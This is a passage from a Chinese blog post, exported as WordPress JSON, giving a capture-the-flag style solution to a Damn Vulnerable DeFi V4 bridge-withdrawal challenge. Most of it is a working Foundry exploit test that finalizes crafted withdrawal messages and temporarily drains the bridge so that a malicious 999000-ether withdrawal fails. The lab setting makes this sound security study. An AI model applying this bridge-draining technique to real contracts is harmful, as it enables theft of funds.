\/\/0x01210a38<\/code><\/pre>\n<p>\u53ef\u4ee5\u77e5\u9053\u8fd9data\u662f\u901a\u8fc7L1Forwarder.sol\u4e2d\u7684forwardMessage\u65b9\u6cd5\u53bb\u8c03\u7528TokenBridge.sol\u91cc\u7684executeTokenWithdrawal\u65b9\u6cd5<\/p>\n<p>\u4e8e\u662f\u5c31\u53ef\u4ee5\u89e3\u6790\u51fa\u5bf9\u5e94\u7684amount\uff0c\u4e8e\u662f\u5c31\u53ef\u4ee5\u53d1\u73b0nonce\u4e3a2\u7684\u90a3\u7b14\u4ea4\u6613\u53d6\u4e86999000 ether\uff0c\u663e\u7136\u662f\u5f02\u5e38\u4ea4\u6613\uff0c\u6240\u4ee5\u8bf4\u6211\u4eec\u7684\u76ee\u6807\u5c31\u662f\u8ba9nonce\u4e3a0\u30011\u30013\u7684\u4ea4\u6613\u6210\u529f\uff0cnonce\u4e3a2\u7684\u4ea4\u6613\u5931\u8d25\u5373\u53ef<\/p>\n<p>\u901a\u8fc7\u9605\u8bfbL1Forwarder.sol\u53ef\u4ee5\u53d1\u73b0\uff0c\u5373\u4f7f\u4ea4\u6613\u5931\u8d25\u4e5f\u4e0d\u4f1arevert\uff0c\u800c\u662f\u4f7ffailedMessages[messageId] = true\uff0c\u6240\u4ee5\u8bf4\u6211\u4eec\u53ef\u4ee5\u5c06\u53e6\u5916\u4e09\u7b14\u4ea4\u6613\u6267\u884c\u5b8c\u6bd5\u4e4b\u540e\u518d\u81ea\u5df1\u6267\u884c\u4e00\u7b14\u4ea4\u6613\u628a\u5269\u4e0b\u7684\u6240\u6709\u4ee3\u5e01\u8f6c\u51fa\u6765\u518d\u6267\u884c\u8fd9\u4e2a\u6076\u610f\u4ea4\u6613\uff0c\u8fd9\u6837\u5c31\u80fd\u4f7f\u5176\u5931\u8d25\uff0c\u6700\u540e\u518d\u628a\u4ee3\u5e01\u8fd8\u56de\u53bb\u5373\u53ef<\/p>\n<p>exp:<\/p>\n<pre class=\"prettyprint linenums\" ><code>    function test_assertInitialState() public view {\n        assertEq(l1Forwarder.owner(), deployer);\n        assertEq(address(l1Forwarder.gateway()), address(l1Gateway));\n\n        assertEq(l1Gateway.owner(), deployer);\n        assertEq(l1Gateway.rolesOf(player), l1Gateway.OPERATOR_ROLE());\n        assertEq(l1Gateway.DELAY(), 7 days);\n        assertEq(l1Gateway.root(), WITHDRAWALS_ROOT);\n\n        assertEq(\n            token.balanceOf(address(l1TokenBridge)),\n            INITIAL_BRIDGE_TOKEN_AMOUNT\n        );\n        assertEq(l1TokenBridge.totalDeposits(), INITIAL_BRIDGE_TOKEN_AMOUNT);\n    }\n\n    \/**\n     * CODE YOUR SOLUTION HERE\n     *\/\n    function test_withdrawal() public checkSolvedByPlayer {\n        console.log(address(l1Forwarder));\n        console.log(l2Handler);\n        console.log(address(l1TokenBridge));\n        console.logBytes4(l1TokenBridge.executeTokenWithdrawal.selector);\n        console.logBytes4(l1Forwarder.forwardMessage.selector);\n        bytes memory testdata = abi.encode(\n            uint256(1),\n            address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),\n            address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),\n            uint256(0x66729b95),\n            abi.encodeWithSignature(\n                &quot;forwardMessage(uint256,address,address,bytes)&quot;,\n                uint256(1),\n                address(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e),\n                address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),\n                abi.encodeWithSignature(\n                    &quot;executeTokenWithdrawal(address,uint256)&quot;,\n                    address(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e),\n                    10 ether\n                )\n            )\n        );\n        console.logBytes(testdata);\n        console.logBytes32(keccak256(testdata));\n        vm.warp(uint256(0x66729b95) + 8 days);\n        bytes32[] memory proof = new bytes32[](1);\n        l1Gateway.finalizeWithdrawal(\n            uint256(0),\n            address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),\n            address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),\n            uint256(0x66729b63),\n            abi.encodeWithSignature(\n                &quot;forwardMessage(uint256,address,address,bytes)&quot;,\n                uint256(0),\n                address(0x328809Bc894f92807417D2dAD6b7C998c1aFdac6),\n                address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),\n                abi.encodeWithSignature(\n                    &quot;executeTokenWithdrawal(address,uint256)&quot;,\n                    address(0x328809Bc894f92807417D2dAD6b7C998c1aFdac6),\n                    10 ether\n                )\n            ),\n            proof\n        );\n        l1Gateway.finalizeWithdrawal(\n            uint256(1),\n            address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),\n            address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),\n            uint256(0x66729b95),\n            abi.encodeWithSignature(\n                &quot;forwardMessage(uint256,address,address,bytes)&quot;,\n                uint256(1),\n                address(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e),\n                address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),\n                abi.encodeWithSignature(\n                    &quot;executeTokenWithdrawal(address,uint256)&quot;,\n                    address(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e),\n                    10 ether\n                )\n            ),\n            proof\n        );\n        l1Gateway.finalizeWithdrawal(\n            uint256(3),\n            address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),\n            address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),\n            uint256(0x66729c37),\n            abi.encodeWithSignature(\n                &quot;forwardMessage(uint256,address,address,bytes)&quot;,\n                uint256(3),\n                address(0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b),\n                address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),\n                abi.encodeWithSignature(\n                    &quot;executeTokenWithdrawal(address,uint256)&quot;,\n                    address(0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b),\n                    10 ether\n                )\n            ),\n            proof\n        );\n        l1Gateway.finalizeWithdrawal(\n            uint256(4),\n            address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),\n            address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),\n            uint256(0x66729b95),\n            abi.encodeWithSignature(\n                &quot;forwardMessage(uint256,address,address,bytes)&quot;,\n                uint256(4),\n                player,\n                address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),\n                abi.encodeWithSignature(\n                    &quot;executeTokenWithdrawal(address,uint256)&quot;,\n                    player,\n                    INITIAL_BRIDGE_TOKEN_AMOUNT - 30 ether\n                )\n            ),\n            proof\n        );\n        l1Gateway.finalizeWithdrawal(\n            uint256(2),\n            address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),\n            address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),\n            uint256(0x66729bea),\n            abi.encodeWithSignature(\n                &quot;forwardMessage(uint256,address,address,bytes)&quot;,\n                uint256(2),\n                address(0xea475d60c118d7058beF4bDd9c32bA51139a74e0),\n                address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),\n                abi.encodeWithSignature(\n                    &quot;executeTokenWithdrawal(address,uint256)&quot;,\n                    address(0xea475d60c118d7058beF4bDd9c32bA51139a74e0),\n                    999000 ether\n                )\n            ),\n            proof\n        );\n        token.transfer(address(l1TokenBridge), token.balanceOf(player));\n    }<\/code><\/pre>\n<blockquote>\n<p>\u5230\u6b64\u5b8c\u7ed3<\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>\u5237\u70b9\u533a\u5757\u94fe\uff0conlypwner\u4e5f\u5f88\u4e0d\u9519\uff0c\u4f46\u662f\u4e0d\u7ed9\u53d1wp\uff0c\u5c31\u53d1\u53d1\u8fd9\u4e2a\u7684\uff0c\u9879\u76ee\u5730\u5740\uff1ahttps:\/\/github.com\/theredguild\/damn-vulnerable-defi \uff0c\u7528foundry\u5199\u8d77\u6765\u5f88\u65b9\u4fbf\uff0c\u76ee\u524d\u5df2\u5b8c\u7ed3 \u4ee3\u7801\uff1ahttps:\/\/github.com\/zysgmzb\/My-Damn-Vulnerable-DeFi-V4-solutions \u5982\u679c\u521a\u5165\u95e8defi\u5b89\u5168\u63a8\u8350\u6309\u987a\u5e8f\u505a \u76ee [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-345","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/345","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/comments?post=345"}],"version-history":[{"count":33,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/345\/revisions"}],"predecessor-version":[{"id":383,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/345\/revisions\/383"}],"wp:attachment":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/media?parent=345"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/categories?post=345"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/tags?post=345"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}